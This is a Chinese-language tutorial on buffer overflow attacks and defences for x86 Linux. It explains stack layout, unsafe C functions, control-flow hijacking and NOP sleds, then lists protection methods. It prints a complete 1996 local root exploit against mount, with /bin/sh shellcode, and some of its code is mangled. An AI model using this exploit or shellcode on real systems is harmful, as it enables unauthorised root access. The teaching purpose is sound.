在過去的十年中，以緩沖區(qū)溢出為攻擊類型的安全漏洞是最為常見的一種形式。更為嚴(yán)重的是，緩沖區(qū)溢出漏洞占了遠(yuǎn)程網(wǎng)絡(luò)攻擊的絕大多數(shù)，這種攻擊可以使得一個(gè)匿名的Internet用戶有機(jī)會(huì)獲得一臺(tái)主機(jī)的部分或全部的控制權(quán)！由于這類攻擊使任何人都有可能取得主機(jī)的控制權(quán)，所以它代表了一類極其嚴(yán)重的安全威脅。

緩沖區(qū)溢出攻擊之所以成為一種常見的攻擊手段，其原因在于緩沖區(qū)溢出漏洞太普通了，并且易于實(shí)現(xiàn)。而且，緩沖區(qū)溢出所以成為遠(yuǎn)程攻擊的主要手段，其原因在于緩沖區(qū)溢出漏洞給予了攻擊者所想要的一切：殖入并且執(zhí)行攻擊代碼。被殖入的攻擊代碼以一定的權(quán)限運(yùn)行有緩沖區(qū)溢出漏洞的程序，從而得到被攻擊主機(jī)的控制權(quán)。本文簡(jiǎn)單介紹了緩沖區(qū)溢出的基本原理和預(yù)防辦法。

一、緩沖區(qū)溢出的概念和原理

緩沖區(qū)是內(nèi)存中存放數(shù)據(jù)的地方。在程序試圖將數(shù)據(jù)放到機(jī)器內(nèi)存中的某一個(gè)位置的時(shí)候，因?yàn)闆]有足夠的空間就會(huì)發(fā)生緩沖區(qū)溢出。而人為的溢出則是有一定企圖的，攻擊者寫一個(gè)超過緩沖區(qū)長(zhǎng)度的字符串，植入到緩沖區(qū)，然后再向一個(gè)有限空間的緩沖區(qū)中植入超長(zhǎng)的字符串，這時(shí)可能會(huì)出現(xiàn)兩個(gè)結(jié)果：一是過長(zhǎng)的字符串覆蓋了相鄰的存儲(chǔ)單元，引起程序運(yùn)行失敗，嚴(yán)重的可導(dǎo)致系統(tǒng)崩潰；另一個(gè)結(jié)果就是利用這種漏洞可以執(zhí)行任意指令，甚至可以取得系統(tǒng)root特級(jí)權(quán)限。

緩沖區(qū)是程序運(yùn)行的時(shí)候機(jī)器內(nèi)存中的一個(gè)連續(xù)塊，它保存了給定類型的數(shù)據(jù)，隨著動(dòng)態(tài)分配變量會(huì)出現(xiàn)問題。大多時(shí)為了不占用太多的內(nèi)存，一個(gè)有動(dòng)態(tài)分配變量的程序在程序運(yùn)行時(shí)才決定給它們分配多少內(nèi)存。如果程序在動(dòng)態(tài)分配緩沖區(qū)放入超長(zhǎng)的數(shù)據(jù)，它就會(huì)溢出了。一個(gè)緩沖區(qū)溢出程序使用這個(gè)溢出的數(shù)據(jù)將匯編語言代碼放到機(jī)器的內(nèi)存里，通常是產(chǎn)生root權(quán)限的地方。僅僅單個(gè)的緩沖區(qū)溢出并不是問題的根本所在。但如果溢出送到能夠以root權(quán)限運(yùn)行命令的區(qū)域，一旦運(yùn)行這些命令，那可就等于把機(jī)器拱手相讓了。
造成緩沖區(qū)溢出的原因是程序中沒有仔細(xì)檢查用戶輸入的參數(shù)。例如下面程序：

example1.c
void func1(char *input) {
char buffer[16];
strcpy(buffer, input);
}

上面的strcpy()將直接吧input中的內(nèi)容copy到buffer中。這樣只要input的長(zhǎng)度大于16，就會(huì)造成buffer的溢出，使程序運(yùn)行出錯(cuò)。存在像strcpy這樣的問題的標(biāo)準(zhǔn)函數(shù)還有strcat(),sprintf(),vsprintf(),gets(),scanf(),以及在循環(huán)內(nèi)的getc(),fgetc(),getchar()等。

當(dāng)然，隨便往緩沖區(qū)中填東西造成它溢出一般只會(huì)出現(xiàn)Segmentation fault 錯(cuò)誤，而不能達(dá)到攻擊的目的。最常見的手段是通過制造緩沖區(qū)溢出使程序運(yùn)行一個(gè)用戶shell，再通過shell執(zhí)行其他命令。如果該程序?qū)儆趓oot且有suid權(quán)限的話，攻擊者就獲得了一個(gè)有root權(quán)限的shell，便可以對(duì)系統(tǒng)進(jìn)行任意操作了。

請(qǐng)注意，如果沒有特別說明，下面的內(nèi)容都假設(shè)用戶使用的平臺(tái)為基于Intel x86 CPU的Linux系統(tǒng)。對(duì)其他平臺(tái)來說，本文的概念同樣適用，但程序要做相應(yīng)修改。

二、制造緩沖區(qū)溢出

一個(gè)程序在內(nèi)存中通常分為程序段、數(shù)據(jù)段和堆棧三部分。程序段里放著程序的機(jī)器碼和只讀數(shù)據(jù)。數(shù)據(jù)段放的是程序中的靜態(tài)數(shù)據(jù)。動(dòng)態(tài)數(shù)據(jù)則通過堆棧來存放。在內(nèi)存中，它們的位置是：

當(dāng)程序中發(fā)生函數(shù)調(diào)用時(shí)，計(jì)算機(jī)做如下操作：首先把參數(shù)壓入堆棧；然后保存指令寄存器(IP)中的內(nèi)容作為返回地址(RET)；第三個(gè)放入堆棧的是基址寄存器(FP)；然后把當(dāng)前的棧指針(SP)拷貝到FP，做為新的基地址；最后為本地變量留出一定空間，把SP減去適當(dāng)?shù)臄?shù)值。以下面程序?yàn)槔?

example2.c
void func1(char * input) {
char buffer[16];
strcpy(buffer, input);
}
void main() {
char longstring[256];
int i;
for( i = 0; i < 255; i++)
longstring = 'B';
func1(longstring);
}

當(dāng)調(diào)用函數(shù)func1()時(shí)，堆棧如下：

不用說，程序執(zhí)行的結(jié)果是"Segmentation fault (core dumped)"或類似的出錯(cuò)信息。因?yàn)閺腷uffer開始的256個(gè)字節(jié)都將被* input的內(nèi)容'B'覆蓋，包括sfp, ret,甚至*input。'B'的16進(jìn)值為0x41，所以函數(shù)的返回地址變成了0x41414141，這超出了程序的地址空間，所以出現(xiàn)段錯(cuò)誤。

三、緩沖區(qū)溢出漏洞攻擊方式

緩沖區(qū)溢出漏洞可以使任何一個(gè)有黑客技術(shù)的人取得機(jī)器的控制權(quán)甚至是最高權(quán)限。一般利用緩沖區(qū)溢出漏洞攻擊root程序，大都通過執(zhí)行類似“exec(sh)”的執(zhí)行代碼來獲得root 的shell。黑客要達(dá)到目的通常要完成兩個(gè)任務(wù)，就是在程序的地址空間里安排適當(dāng)?shù)拇a和通過適當(dāng)?shù)某跏蓟拇嫫骱痛鎯?chǔ)器，讓程序跳轉(zhuǎn)到安排好的地址空間執(zhí)行。

1、在程序的地址空間里安排適當(dāng)?shù)拇a
在程序的地址空間里安排適當(dāng)?shù)拇a往往是相對(duì)簡(jiǎn)單的。如果要攻擊的代碼在所攻擊程序中已經(jīng)存在了，那么就簡(jiǎn)單地對(duì)代碼傳遞一些參數(shù)，然后使程序跳轉(zhuǎn)到目標(biāo)中就可以完成了。攻擊代碼要求執(zhí)行“exec(‘/bin/sh’)”，而在libc庫中的代碼執(zhí)行“exec(arg)”，其中的“arg”是個(gè)指向字符串的指針參數(shù)，只要把傳入的參數(shù)指針修改指向“/bin/sh”，然后再跳轉(zhuǎn)到libc庫中的響應(yīng)指令序列就可以了。當(dāng)然，很多時(shí)候這個(gè)可能性是很小的，那么就得用一種叫“植入法”的方式來完成了。當(dāng)向要攻擊的程序里輸入一個(gè)字符串時(shí)，程序就會(huì)把這個(gè)字符串放到緩沖區(qū)里，這個(gè)字符串包含的數(shù)據(jù)是可以在這個(gè)所攻擊的目標(biāo)的硬件平臺(tái)上運(yùn)行的指令序列。緩沖區(qū)可以設(shè)在：堆棧（自動(dòng)變量）、堆（動(dòng)態(tài)分配的）和靜態(tài)數(shù)據(jù)區(qū)（初始化或者未初始化的數(shù)據(jù)）等的任何地方。也可以不必為達(dá)到這個(gè)目的而溢出任何緩沖區(qū)，只要找到足夠的空間來放置這些攻擊代碼就夠了。

2、控制程序轉(zhuǎn)移到攻擊代碼的形式
緩沖區(qū)溢出漏洞攻擊都是在尋求改變程序的執(zhí)行流程，使它跳轉(zhuǎn)到攻擊代碼，最為基本的就是溢出一個(gè)沒有檢查或者其他漏洞的緩沖區(qū)，這樣做就會(huì)擾亂程序的正常執(zhí)行次序。通過溢出某緩沖區(qū)，可以改寫相近程序的空間而直接跳轉(zhuǎn)過系統(tǒng)對(duì)身份的驗(yàn)證。原則上來講攻擊時(shí)所針對(duì)的緩沖區(qū)溢出的程序空間可為任意空間。但因不同地方的定位相異，所以也就帶出了多種轉(zhuǎn)移方式。

（1）Function Pointers（函數(shù)指針）
在程序中，“void (* foo) ( )”聲明了個(gè)返回值為“void” Function Pointers的變量“foo”。Function Pointers可以用來定位任意地址空間，攻擊時(shí)只需要在任意空間里的Function Pointers鄰近處找到一個(gè)能夠溢出的緩沖區(qū)，然后用溢出來改變Function Pointers。當(dāng)程序通過Function Pointers調(diào)用函數(shù)，程序的流程就會(huì)實(shí)現(xiàn)。

（2）Activation Records（激活記錄）
當(dāng)一個(gè)函數(shù)調(diào)用發(fā)生時(shí)，堆棧中會(huì)留駐一個(gè)Activation Records，它包含了函數(shù)結(jié)束時(shí)返回的地址。執(zhí)行溢出這些自動(dòng)變量，使這個(gè)返回的地址指向攻擊代碼，再通過改變程序的返回地址。當(dāng)函數(shù)調(diào)用結(jié)束時(shí)，程序就會(huì)跳轉(zhuǎn)到事先所設(shè)定的地址，而不是原來的地址。這樣的溢出方式也是較常見的。

（3）Longjmp buffers（長(zhǎng)跳轉(zhuǎn)緩沖區(qū)）
在C語言中包含了一個(gè)簡(jiǎn)單的檢驗(yàn)/恢復(fù)系統(tǒng)，稱為“setjmp/longjmp”，意思是在檢驗(yàn)點(diǎn)設(shè)定“setjmp(buffer)”，用longjmp(buffer)“來恢復(fù)檢驗(yàn)點(diǎn)。如果攻擊時(shí)能夠進(jìn)入緩沖區(qū)的空間，感覺“l(fā)ongjmp(buffer)”實(shí)際上是跳轉(zhuǎn)到攻擊的代碼。像Function Pointers一樣，longjmp緩沖區(qū)能夠指向任何地方，所以找到一個(gè)可供溢出的緩沖區(qū)是最先應(yīng)該做的事情。

3、植入綜合代碼和流程控制
常見的溢出緩沖區(qū)攻擊類是在一個(gè)字符串里綜合了代碼植入和Activation Records。攻擊時(shí)定位在一個(gè)可供溢出的自動(dòng)變量，然后向程序傳遞一個(gè)很大的字符串，在引發(fā)緩沖區(qū)溢出改變Activation Records的同時(shí)植入代碼（權(quán)因C在習(xí)慣上只為用戶和參數(shù)開辟很小的緩沖區(qū)）。植入代碼和緩沖區(qū)溢出不一定要一次性完成，可以在一個(gè)緩沖區(qū)內(nèi)放置代碼（這個(gè)時(shí)候并不能溢出緩沖區(qū)），然后通過溢出另一個(gè)緩沖區(qū)來轉(zhuǎn)移程序的指針。這樣的方法一般是用于可供溢出的緩沖區(qū)不能放入全部代碼時(shí)的。如果想使用已經(jīng)駐留的代碼不需要再外部植入的時(shí)候，通常必須先把代碼做為參數(shù)。在libc（熟悉C的朋友應(yīng)該知道，現(xiàn)在幾乎所有的C程序連接都是利用它來連接的）中的一部分代碼段會(huì)執(zhí)行“exec(something)”，當(dāng)中的something就是參數(shù)，使用緩沖區(qū)溢出改變程序的參數(shù)，然后利用另一個(gè)緩沖區(qū)溢出使程序指針指向libc中的特定的代碼段。

程序編寫的錯(cuò)誤造成網(wǎng)絡(luò)的不安全性也應(yīng)當(dāng)受到重視，因?yàn)樗牟话踩砸驯痪彌_區(qū)溢出表現(xiàn)得淋漓盡致了。

四、利用緩沖區(qū)溢出進(jìn)行的系統(tǒng)攻擊

如果已知某個(gè)程序有緩沖區(qū)溢出的缺陷，如何知道緩沖區(qū)的地址，在哪兒放入shell代碼呢？由于每個(gè)程序的堆棧起始地址是固定的，所以理論上可以通過反復(fù)重試緩沖區(qū)相對(duì)于堆棧起始位置的距離來得到。但這樣的盲目猜測(cè)可能要進(jìn)行數(shù)百至上千次，實(shí)際上是不現(xiàn)實(shí)的。解決的辦法是利用空指令NOP。在shell代碼前面放一長(zhǎng)串的NOP，返回地址可以指向這一串NOP中任一位置，執(zhí)行完NOP指令后程序?qū)⒓せ顂hell進(jìn)程。這樣就大大增加了猜中的可能性。下面是一個(gè)緩沖區(qū)溢出攻擊的實(shí)例，它利用了系統(tǒng)程序mount的漏洞：

example5.c
/* Mount Exploit for Linux, Jul 30 1996
Discovered and Coded by Bloodmask & Vio
Covin Security 1996
*/
#include
#include
#include
#include
#include
#define PATH_MOUNT "/bin/umount"
#define BUFFER_SIZE 1024
#define DEFAULT_OFFSET 50
u_long get_esp()
{
__asm__("movl %esp, %eax");
}

main(int argc, char **argv)
{
u_char execshell[] =
"/xeb/x24/x5e/x8d/x1e/x89/x5e/x0b/x33/xd2/x89/x56/x07/x89/x56/x0f"
"/xb8/x1b/x56/x34/x12/x35/x10/x56/x34/x12/x8d/x4e/x0b/x8b/xd1/xcd"
"/x80/x33/xc0/x40/xcd/x80/xe8/xd7/xff/xff/xff/bin/sh";
char *buff = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;
int i;
int ofs = DEFAULT_OFFSET;
buff = malloc(4096);
if(!buff)
{
printf("can't allocate memory/n");
exit(0);
}
ptr = buff;
/* fill start of buffer with nops */
memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
ptr += BUFFER_SIZE-strlen(execshell);
/* stick asm code into the buffer */
for(i=0;i < strlen(execshell);i++)
*(ptr++) = execshell;
addr_ptr = (long *)ptr;
for(i=0;i < (8/4);i++)
*(addr_ptr++) = get_esp() + ofs;
ptr = (char *)addr_ptr;
*ptr = 0;
(void)alarm((u_int)0);
printf("Discovered and Coded by Bloodmask and Vio, Covin 1996/n");
execl(PATH_MOUNT, "mount", buff, NULL);
}

程序中g(shù)et_esp()函數(shù)的作用就是定位堆棧位置。程序首先分配一塊暫存區(qū)buff,然后在buff的前面部分填滿NOP，后面部分放shell代碼。最后部分是希望程序返回的地址，由棧地址加偏移得到。當(dāng)以buff為參數(shù)調(diào)用mount時(shí)，將造成mount程序的堆棧溢出，其緩沖區(qū)被buff覆蓋，而返回地址將指向NOP指令。

由于mount程序的屬主是root且有suid位，普通用戶運(yùn)行上面程序的結(jié)果將獲得一個(gè)具有root權(quán)限的shell。

五、緩沖區(qū)溢出的保護(hù)方法

目前有四種基本的方法保護(hù)緩沖區(qū)免受緩沖區(qū)溢出的攻擊和影響：

1、強(qiáng)制寫正確的代碼的方法
編寫正確的代碼是一件非常有意義但耗時(shí)的工作，特別像編寫C語言那種具有容易出錯(cuò)傾向的程序（如：字符串的零結(jié)尾），這種風(fēng)格是由于追求性能而忽視正確性的傳統(tǒng)引起的。盡管花了很長(zhǎng)的時(shí)間使得人們知道了如何編寫安全的程序，具有安全漏洞的程序依舊出現(xiàn)。因此人們開發(fā)了一些工具和技術(shù)來幫助經(jīng)驗(yàn)不足的程序員編寫安全正確的程序。雖然這些工具幫助程序員開發(fā)更安全的程序，但是由于C語言的特點(diǎn)，這些工具不可能找出所有的緩沖區(qū)溢出漏洞。所以，偵錯(cuò)技術(shù)只能用來減少緩沖區(qū)溢出的可能，并不能完全地消除它的存在。除非程序員能保證他的程序萬無一失，否則還是要用到以下部分的內(nèi)容來保證程序的可靠性能。

2、通過操作系統(tǒng)使得緩沖區(qū)不可執(zhí)行，從而阻止攻擊者殖入攻擊代碼
這種方法有效地阻止了很多緩沖區(qū)溢出的攻擊，但是攻擊者并不一定要殖入攻擊代碼來實(shí)現(xiàn)緩沖區(qū)溢出的攻擊，所以這種方法還是存在很多弱點(diǎn)的。

3、利用編譯器的邊界檢查來實(shí)現(xiàn)緩沖區(qū)的保護(hù)
這個(gè)方法使得緩沖區(qū)溢出不可能出現(xiàn)，從而完全消除了緩沖區(qū)溢出的威脅，但是相對(duì)而言代價(jià)比較大。

4、在程序指針失效前進(jìn)行完整性檢查
這樣雖然這種方法不能使得所有的緩沖區(qū)溢出失效，但它的確確阻止了絕大多數(shù)的緩沖區(qū)溢出攻擊，而能夠逃脫這種方法保護(hù)的緩沖區(qū)溢出也很難實(shí)現(xiàn)。

最普通的緩沖區(qū)溢出形式是攻擊活動(dòng)紀(jì)錄然后在堆棧中殖入代碼。這種類型的攻擊在1996年中有很多紀(jì)錄。而非執(zhí)行堆棧和堆棧保護(hù)的方法都可以有效防衛(wèi)這種攻擊。非執(zhí)行堆棧可以防衛(wèi)所有把代碼殖入堆棧的攻擊方法，堆棧保護(hù)可以防衛(wèi)所有改變活動(dòng)紀(jì)錄的方法。這兩種方法相互兼容，可以同時(shí)防衛(wèi)多種可能的攻擊。
剩下的攻擊基本上可以用指針保護(hù)的方法來防衛(wèi)，但是在某些特殊的場(chǎng)合需要用手工來實(shí)現(xiàn)指針保護(hù)。全自動(dòng)的指針保護(hù)需要對(duì)每個(gè)變量加入附加字節(jié)，這樣使得指針邊界檢查在某些情況下具有優(yōu)勢(shì)。

最為有趣的是，緩沖區(qū)溢出漏洞--Morris蠕蟲使用了現(xiàn)今所有方法都無法有效防衛(wèi)的方法，但是由于過于復(fù)雜的緣故卻很少有人用到。

在本文中，我們?cè)敿?xì)描述和分析了緩沖區(qū)溢出的原理，并簡(jiǎn)單介紹了幾種防衛(wèi)方法。由于這種攻擊是目前常見的攻擊手段，所以進(jìn)行這個(gè)方面的研究工作是有意義和成效的。

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緩沖區(qū)溢出原理及防護(hù)